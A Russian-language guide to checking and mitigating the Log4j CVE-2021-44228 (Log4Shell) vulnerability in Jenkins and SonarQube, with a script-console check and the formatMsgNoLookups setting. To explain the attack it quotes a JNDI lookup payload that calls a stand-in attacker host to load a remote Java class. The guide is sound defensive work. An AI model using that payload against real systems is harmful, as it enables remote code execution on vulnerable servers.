Уязвимость в библиотеке Log4j в экосистеме Java

Как обезопасить себя от уязвимости CVE-2021-44228, исходящей из библиотеки log4j 2

Думаю многие, как и мы привыкли в стеке разработки использовать такие сервисы как Jenkins и SonarQube. Эти приложения написаны на языке Java и могут быть подвержены уязвимости CVE-2021-44228, исходящей от библиотеки Log4j версии 2.

Проблема вызвана тем, что Log4j2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой ${jndi:ldap://attacker.com/a}, при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения (информация взята из источника).

Как себя обезопасить?

Jenkins

В Jenkins Core эта библиотека не используется, но не исключает ее наличие в плагинах. Для проверки наличия уязвимости вам нужно зайти в Консоль сценариев (Настроить Jenkins ->  Управление средами сборки -> Узел master или built-in -> Консоль сценариев) и выполнить скрипт:

org.apache.logging.log4j.core.lookup.JndiLookup.class.protectionDomain.codeSource

Если выполнение скрипта привело к ошибке вида groovy.lang.MissingPropertyException: No such property: org for class: Script1, то библиотека Log4j2 в плагинах не используется.

Но если будет выведен путь и имя плагина, где все же используется библиотека, вам нужно будет удалить этот плагин, перезапустить сервис Jenkins и повторно выполнить скрипт в Консоли сценариев.

Официальный источник информации: Apache Log4j 2 vulnerability CVE-2021-44228.

SonarQube

Что касается сервиса SonarQube, то библиотека используется только в модуле ElasticSearch. Чтобы обезопасить сервис, нужно в конфигурационный файл SonarQube или переменную среды добавить -Dlog4j2.formatMsgNoLookups=true.

В конфигурационном файле нужно добавить или изменить настройку sonar.search.javaAdditionalOpts, например:

sonar.search.javaAdditionalOpts=-Dlog4j2.formatMsgNoLookups=true

Или через переменную среды в системе, контейнере и т.п:

SONAR_SEARCH_JAVAADDITIONALOPTS=-Dlog4j2.formatMsgNoLookups=true

После указания настройки нужно перезапустить сервис SonarQube.

Официальный источник информации: SonarQube and the Log4J vulnerability.